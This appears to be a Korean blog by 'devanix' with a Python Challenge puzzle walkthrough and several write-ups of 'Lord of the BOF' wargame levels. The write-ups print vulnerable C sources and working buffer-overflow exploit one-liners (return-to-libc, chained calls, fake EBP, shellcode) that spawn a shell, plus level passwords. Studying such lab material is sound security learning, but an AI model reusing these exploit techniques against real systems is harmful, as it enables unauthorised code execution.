2011. 6. 20. 20:48

[ problem ] - http://www.pythonchallenge.com/pc/def/map.html

그림과 같이 K->M, O->Q, E->G의 규칙성은 해당 문자가 2만큼 떨어져 있다.

그림의 보라색 글자가 무슨 암호화 같이 보이지만 해당 글자를 2씩 증가하면
아래와 같이 string.maketrans() 권장한다는 친절한 멘트와 힌트가 보인다. (단, y->a)

"i hope you didnt translate it by hand. thats what computers are for.
doing it in by hand is inefficient and that's why this text is so long.
using string.maketrans() is recommended.
now apply on the url."

♧ 현재 url의 "map.html"을 규칙성을 적용해 보면 "orc.jvon"이 된다.

(http://www.pythonchallenge.com/pc/def/ocr.jvon)

   

 

[ Solution ] - http://www.pythonchallenge.com/pcc/def/ocr.html
(※ 문제에 대한 다양한 해결법은 링크 참조.)

Posted by devanix
2011. 6. 20. 19:56

http://www.pythonchallenge.com/index.php

♧ Python 프로그래밍을 여러 수수께끼 문제를 통해 쉽고 재미있게 배울 수 있는 사이트.

   

[ 도전하기 ]

♧ 사이트 접속후 아래 "Click here to get challenged"를 클릭하면 도전 시작.

   

♧ 도전을 시작 하면 아래와 같은 문제 화면이 보인다.

※ 2의 38승을 구하는 문제이다.
URL 주소란에 그림과 같이 문제의 답을 적으면 다음 레벨로 넘어가게 된다.

   

[ 문제에 대한 다양한 해결책 보기 ]

위와 같이 URL을 pc->pcc로 고치면 다음 그림과 같이 문제에 대한 여러 해결법을 볼 수 있다.

   

[ Solution ] - http://pythonchallenge.com/pcc/def/map.html

Posted by devanix
2011. 6. 15. 22:01

[view source]

/*

The Lord of the BOF : The Fellowship of the BOF

- xavius

- arg

*/

#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>

   

main()

{

char buffer[40];

char *ret_addr;

   

// overflow!

fgets(buffer, 256, stdin);

printf("%s\n", buffer);

   

if(*(buffer+47) == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}

   

if(*(buffer+47) == '\x08')

{

printf("binary image retbayed you, too!!\n");

exit(0);

}

   

// check if the ret_addr is library function or not

memcpy(&ret_addr, buffer+44, 4);

while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function

{

if(*ret_addr == '\xc9'){ // leave

if(*(ret_addr+1) == '\xc3'){ // ret

printf("You cannot use library function!\n");

exit(0);

}

}

ret_addr++;

}

   

// stack destroyer

memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

   

// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}


♧ 사용 할 수 있는 공간이 별루 없다.
fgets 내부 버퍼를 사용하여 문제를 풀도록 하자.

   

[ summary ]

① strace ./사본으로 내용을 보면 fgets()는 내부 시스템콜 read()를 호출하는데
이때 표준입출력 0인 파일디스크립터를 인자로 하여 호출 하는것을 볼 수 있다.
즉 read(0, 을 사이로 0x40015000~0x40016000(4096Byte)까지 메모리 맵핑 하는 것을 볼 수 있다.

② gdb로 fgets를 호출 후 바로 확인해 보면 입력한 "DDDD~"가 0x40015000부터 들어가는 것을 볼 수 있다.


③ 이 공간에 쉘코드를 사입후 문제를 푼다.

[BUFFER]+[SFP](44Byte)

[RET]

[NOP썰매]+[쉘코드]

0X40015000


   

[ Attack ]

∑xploit

( python -c 'print "\x90"*27 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3" + "\x01\x50\x01\x40"' ; tee) | ./xavius

※(0x40015000은 마지막 "00"이 널로 취급 때문에 NOP썰매가 있는 곳으로 수정)

성공!!!



nightmare : "beg for me"

Posted by devanix
2011. 6. 15. 00:26

[view source]

/*

The Lord of the BOF : The Fellowship of the BOF

- nightmare

- PLT

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>

   

main(int argc, char *argv[])

{

char buffer[40];

char *addr;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// check address

addr = (char *)&strcpy;

if(memcmp(argv[1]+44, &addr, 4) != 0){

printf("You must fall in love with strcpy()\n");

exit(0);

}

   

// overflow!

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// dangerous waterfall

memset(buffer+40+8, 'A', 4);

}


♧ RET부분이 strcpy주소로 시작을 하는지 check하고 있다.
먼저 여기서 strcpy주소 인지 체크하는 부분은 plt에 있는 참조 주소이다.
이 plt의 strcpy의 참조 주소를 이용해 RTL로 문제를 풀도록 하자.


 

   

♧ GOT와 PLT [ 참조 ]

GOT는 Global Offset Table(전역 오프셋 테이블)약자며 실행 후, libc.so내 실제 함수 주소가 담기는 저장소이다.
PLT는 일종의 실제 호출 코드를 담고 있는 Procedure Linkage Table(프로시져 링키지 테이블)로써

이 내용 참조를 통해 _dl_runtime_resolve가 수행되고, 실제 시스템 라이브러리 호출이 이루어지게 된다.

(매 번이 아닌, 한 번만 수행되고 나면, 그 다음부터는 GOT에 기록된 내용만 참조하여 수행) 이를 실제

시스템 라이브러리 주소를 호출하기 위해 필요한 정보 테이블이라 보면 될 것 같다.


   

[ summary ]

♧ strcpy()를 이용해 argv[2]에 있는 system()를 리턴 주소(strcpy호출 다음)에 복사하여 실행 흐름을 변경한다.

  


   

   

[ Attack ]

필요한 주소 구하기.

ⓐ strcpy@plt

ⓑ strcpy[dest], strcpy[src]=argv[2] 주소 (사본 생성 후 주소 출력)


dest = 0xbffffaa0 + 48 = [ 0xbffffad0 ]

argv =[ 0xbffffc58 ]

   

∑xploit

$(python -c 'print "A"*44 + "\x10\x84\x04\x08" + "dumm" + "\xd0\xfa\xff\xbf" + "\x58\xfc\xff\xbf"') $(python -c 'print "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"')

  


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

succubus : "here to stay"

 

Posted by devanix
2011. 6. 12. 05:04

[view source]

/*

The Lord of the BOF : The Fellowship of the BOF

- succubus

- calling functions continuously

*/

   

#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>

   

// the inspector

int check = 0;

   

void MO(char *cmd)

{

if(check != 4)

exit(0);

   

printf("welcome to the MO!\n");

   

// olleh!

system(cmd);

}

   

void YUT(void)

{

if(check != 3)

exit(0);

   

printf("welcome to the YUT!\n");

check = 4;

}

   

void GUL(void)

{

if(check != 2)

exit(0);

   

printf("welcome to the GUL!\n");

check = 3;

}

   

void GYE(void)

{

if(check != 1)

exit(0);

   

printf("welcome to the GYE!\n");

check = 2;

}

   

void DO(void)

{

printf("welcome to the DO!\n");

check = 1;

}

   

main(int argc, char *argv[])

{

char buffer[40];

char *addr;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// you cannot use library

if(strchr(argv[1], '\x40')){

printf("You cannot use library\n");

exit(0);

}

   

// check address

addr = (char *)&DO;

if(memcmp(argv[1]+44, &addr, 4) != 0){

printf("You must fall in love with DO\n");

exit(0);

}

   

// overflow!

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// stack destroyer

// 100 : extra space for copied argv[1]

memset(buffer, 0, 44);

memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

   

// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}


1) argv[1]에서 "\x40"이 유무 체크. (library 함수를 사용하지 못함)
2) RET에는 DO함수 주소가 있어야 함.
3) RET이후 100Byte 사용가능.
♧ RTL개념과 같다. 다만 각 함수마다 플래그 체크를 하여 <DO> <GYE> <GUL> <YUT> <MO> 순으로 호출해야 한다.


 

   

[ summary ]

스택에서 함수 호출은 다음과 같은 모양이다.

함수 주소

리턴 주소

인자 1

인자 2

인자 3


그러나 리턴 주소 부분에 다시 함수 호출을 한다면 연속 적으로 호출 할 수 있다.
다만 인자가 없는 함수 호출만 연속적으로 호출 할 수 있다.

그리고 마지막에 호출되는 함수는 인자를 사용 할 수 있다.

   

그리고 맨 마지막 <MO> 함수는 system(인자)를 호출하게 되는데
사용 할 수 있는 스택은 RET 부터 +100byte뿐임으로 다음과 같이 구성한다.

<BUFFER>

<SFP>

<DO>

..[중략]..

<MO>

<RET:더미>

&("bash")문자열 주소

"bash"

  


   

[ Attack ]

필요한 주소 구하기.

ⓐ 도,개,걸,윳,모 주소

ⓑ "/bin/sh"문자열 주소

[버퍼 주소 40Byte] + [SFP4Byte] + [도, 개, 걸, 윳, 모 20Byte] + [더미4Byte] + [&("/bin/sh")4Byte]

= 0xbffffa70 + 40 + 4 + 20 + 4 + 4 = [ 0xbffffab8 ]

   

∑xploit

$(python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "dmmm" + "\xb8\xfa\xff\xbf" + "/bin/sh"')


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

zombie_assassin : "no place to hide"

Posted by devanix
2011. 6. 11. 22:24

⊙ 문제의 소스를 보자)

/*

The Lord of the BOF : The Fellowship of the BOF

- zombie_assassin

- FEBP

*/

   

#include <stdio.h>

#include <stdlib.h>

   

main(int argc, char *argv[])

{

char buffer[40];

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}

   

if(argv[1][47] == '\x40')

{

printf("library retbayed you, too!!\n");

exit(0);

}

   

// strncpy instead of strcpy!

strncpy(buffer, argv[1], 48);

printf("%s\n", buffer);

}


♧ strncpy()함수로 인하여 buffer에 복사할 크기를 48로 정의 함으로써 바로 RTL을 사용하지 못한다.
그래서 제목 제목 처럼 Fake-ebp로 문제를 해결한다.

   

1) FAKE EBP?

♧ 일반 RTL에서는 하나의 함수밖에 호출하지 못하지만 FAKE EBP를 사용 함으로서 여러 함수를 실행하는 공격이 가능 하다.

♧ RET에 leave;ret 주소를 덮음으로써 조작한 ebp로 실행흐름을 바꿀 수 있게 된다.

① 공격 당한 함수의 에필로그(leave;ret)는 fake_ebp0를 %ebp에 집어 넣을 것이다.

② 두 번째 에필로그 역시 fake_ebp1을 %ebp에 집어 넣고, 적당한 매개변수를 가지는 f1으로 리턴 할 것이다.

③ f1이 실행되고 리턴 될 것이다.

④ [ ②와 ③ ]과정이 반복되고, f1에서 부터 f2, f3... fn까지 반복 될 것이다.


   

2) 구성

① 공격 당한 함수의 에필로그 leave가 실행되면 [mov ebp esp]로 인해 esp가 ebp의 시작 지점으로 이동하며
[pop ebp]로 인해 FAKE EBP를 ebp에 넣게 된다.

(이때 pop ebp로 인해 esp+4가 되며 leave의 주소가 들어있다)

② 다음 인스트럭션 명령인 ret이 실행되고 리턴 주소인(leave)가 pop eip가 되면서 다시 leave로 점프하게 된다.

③ 다시 또 한번 leave가 실행되고 ebp에는 FAKE EBP인 버퍼의 시작 주소를 가리키고 있으므로

[ mov ebp esp]로 인해 esp는 buffer의 시작 지점으로 이동하게 되며 [pop ebp]로 인해 esp+4가 된다.

④ 역시 또 한번 ret이 실행 됨으로 system()를 호출하게 된다.


 

   

∑ 익스플로잇 작성!

① 공격 스크립트 작성

"AAAA"

system:

[ 0x40058ae0]

exit:

[ 0x400391e0]

"/bin/sh":

[0x400fbff9]

buffer:

[0xbffffab0]

leave;ret:

[0x080484df]

$(python -c 'print "AAAA" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "A"*24 + "\xb0\xfa\xff\xbf" + "\xdf\x84\x04\x08"')

∑xploit


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

   

assassin : "pushing me away"

Posted by devanix
2011. 6. 10. 01:36

⊙ 문제의 소스를 보자)

[giant@localhost giant]$ cat assassin.c

/*

The Lord of the BOF : The Fellowship of the BOF

- assassin

- no stack, no RTL

*/

   

#include <stdio.h>

#include <stdlib.h>

   

main(int argc, char *argv[])

{

char buffer[40];

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}

   

if(argv[1][47] == '\x40')

{

printf("library retbayed you, too!!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

   

// buffer+sfp hunter

memset(buffer, 0, 44);

}


♧ 제목과 같다. No! Stack, No! RTL.. 버퍼+SFP 초기화. 오로지 RET만 덮어 쓸 수 있다.
♧ 그러나 코드 영역에 RET 명령을 다시 한번 호출 하게 되면 내부 동작에 의하여

esp에 저장된 복귀 주소를 pop하고 그 주소를 eip에 대입 하게 된다.

복귀 주소를 pop 하였기 때문에 esp+4가 됨으로써 다시 한번 리턴 할 수 있다.


   

⊙ 구성도

♧ 인스트럭션 코드가 차례대로 실행되고 Return Address를 다시 한번 RET명령 주소로 덮어쓴다.

♧ 다시 한번 RET명령을 호출 함으로서 esp+4가 됨으로 system을 다시 호출 하게 된다.


 

   

(※ RET명령을 다시 호출 하는 것 외에는 전 단계와 동일 함으로 필요한 주소 찾는 과정은 제외 한다.)

∑ 익스플로잇 작성!

① 공격 스크립트 작성

RET명령:[0x804851e]

system:[0x40058ae0]

exit:[0x400391e0]

"/bin/sh":[0x400fbff9]

$(python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"')

   

∑xploit


   

※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

giant : "one step closer"

Posted by devanix
2011. 6. 9. 19:48

⊙ 문제의 소스를 보자)

/*

The Lord of the BOF : The Fellowship of the BOF

- giant

- RTL2

*/

   

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

   

main(int argc, char *argv[])

{

char buffer[40];

FILE *fp;

char *lib_addr, *execve_offset, *execve_addr;

char *ret;

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

// gain address of execve

fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "(%x)", &lib_addr);

fclose(fp);

   

fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "%x", &execve_offset);

fclose(fp);

   

execve_addr = lib_addr + (int)execve_offset;

// end

   

memcpy(&ret, &(argv[1][44]), 4);

if(ret != execve_addr)

{

printf("You must use execve!\n");

exit(0);

}

   

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


♧ evecve의 주소를 구하여 argv[1][44]의 RET Address부분이 execve의 주소와 동일하지 않으면

종료된다. 그럼으로 문제의 제목과 같이 execve를 이용한 RTL(Return-into-Libc) 방법이 사용된다.

(전체적인 구성은 [ LEVEL13 ] 과 같음으로 참고 하자.)


   

1) 구성도

execve() 시스템 콜을 호출한 프로세스를 새로운 프로세스로 변경한다. (환경변수 정보 추가 기능)
ⓑ 대략적인 구성도는 다음과 같다.

*execve의 두 번째 인자는 char 포인터 배열 임으로 argv[0]의 "/bin/sh"는 copyed argv[0]를 이용한다.

(즉, 이름을 심볼릭 링크하여 argv[0]으로 만듬)
*NULL은 스택 끝에 0xbffffffc를 이용한다.


   

2) 필요한 주소를 찾아 보자.

① GDB로 execve(), exit() 주소 찾기.

② "/bin/sh" 주소 찾기.

#include <stdio.h>
int main(int argc, char **argv)
{
long shell;
shell =
0x40058ae0; // system()함수의 주소
while(memcmp((void*)shell,"/bin/sh",8)) shell++;
printf("\"/bin/sh\" is at [ %#x ]\n",shell);
}

③ execve()의 두 번째 인자로 사용할 copyed argv[0]의 주소 찾기.

ⓐ 권한이 없음으로 sed로 24번 라인을 변경 후 사본을 만든다.

[bugbear@localhost bugbear]$ sed -e 's/giant\/assassin/bugbear\/giant/g' giant.c > tnaig.c

ⓑ 컴파일

[bugbear@localhost bugbear]$ gcc tnaig.c -o $(echo -en "\xf9\xbf\x0f\x40")

ⓒ GDB로 copyed argv[0] 주소 찾기. (*전체 경로를 더해준다)

   

execve

0x400a9d48

exit

0x400391e0

"/bin/sh"

0x400fbff9

argv= {"/bin/sh, 0}

0xbffffff7


   

∑ 익스플로잇 작성!

① 공격할 원본 바이너리 파일(giant)에 심볼릭 링크.

[bugbear@localhost bugbear]$ ln -sf giant $(echo -en "\xf9\xbf\x0f\x40")


② 찾은 주소로 공격 스크립트 작성.

(execve의 주소에 "\x0a"를 "00"으로 취급하기 때문에 스크립트 양쪽에 큰따옴표(double quotation)를 붙여준다.

execve
[ 0x400a9d48 ]

exit
[ 0x400391e0 ]

"/bin/sh"
[ 0x400fbff9 ]

argv
[ 0xbffffff7 ]

NULL
[ 0xbffffffc ]

"$(python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xfc\xff\xff\xbf"')"

   

∑xploit

./$(echo -en "\xf9\xbf\x0f\x40") "$(python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xfc\xff\xff\xbf"')"

성공!!!


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함
bugbear : "new divide"

Posted by devanix